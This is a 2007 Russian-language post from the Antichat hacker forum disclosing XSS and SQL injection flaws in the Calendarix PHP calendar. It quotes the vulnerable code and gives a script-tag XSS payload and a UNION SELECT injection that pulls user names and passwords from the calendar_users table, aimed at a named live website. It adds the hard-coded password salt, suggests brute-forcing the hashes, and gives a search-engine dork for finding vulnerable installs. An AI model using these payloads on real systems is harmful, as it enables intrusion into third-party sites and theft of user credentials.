ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

XSS и SQL-injection в Calendarix.
  #1  
Старый 01.09.2007, 17:20
Аватар для 1ten0.0net1
1ten0.0net1
Time out
Регистрация: 28.11.2005
Сообщений: 547
Провел на форуме:
2320925

Репутация: 1348


По умолчанию XSS и SQL-injection в Calendarix.

Уязвимости подвержены многие версии, от версии к версии разнится только структура SQL запроса.

1. XSS
Пассивные XSS существует во многих параметрах, например, в $month :
calendar.php?month="><script>alert(/XSS/)</script>

Пример уязвимого кода в calendar.php
PHP код:
echo "<a href='Javascript:void(0);' onclick=\"Javascript:wopen('cal_addevent.php?op=eventform&add_day=$i&add_month=$month&add_year=$year&catview=$catview','popupwin',".$addeventwin_w.",".$addeventwin_h.",'yes');\"><img src='images/plus.gif' alt='".translate("Add Event")."' border=0 valign=middle width=11 height=11/></a>" 
2. SQL-inject
Уязвимость существует из-за плохой фильтрации значений переменной $catview (значение переменной должно быть ненулевым!!!)

PHP код:
$query "select id,user,title,starttime,endtime from ".$EVENTS_TB." left join ".$CAT_TB." on ".$EVENTS_TB.".cat=".$CAT_TB.".cat_id where day='$i' and month='$month' and year='$year' and approved='1' " ;
if (
$catview!=0$query $query." and ".$EVENTS_TB.".cat=$catview " 
Инъекция в переменных $month; $year невозможна, т. к. скрипт сам задает дипазон значений этих переменных.

Пример:
http://www.3ringcircusproductions.com/calendar/calendar.php
POST:
catview=2+and+(0=1)+union+select+11,22,concat(user name,char(58),password),4,5+from+calendar_users--

P. S. Префикс таблицы по умолчанию calendar_
Кол-во колонок в запросе меняется от версии к версии.
Пароли пользователей шифруются по следющему алгоритму:
PHP код:
$login preg_replace("/[';]/"""$login); 
Кстати, в ранних версиях, это можно было обойти при помощи URI-кодировки ('~%27)
PHP код:
$crypt "we6c21end2r4u" ;
$cryptpas crypt($password,$crypt); 
то есть криптует по DES алгоритму с использованием соли.
На сколько я знаю, PassWord Pro может работать с солью. Если же я ошибаюсь, то можно написать маленький php-брутфорсер, читающий файл словаря, криптующий по этому же алгоритму каждую строчку и сравнивающую с существующим хешем. Только стоит ли... )

dork: inurl:yearcal.php intitle:Calendar
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.

Последний раз редактировалось 1ten0.0net1; 01.09.2007 в 17:27..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ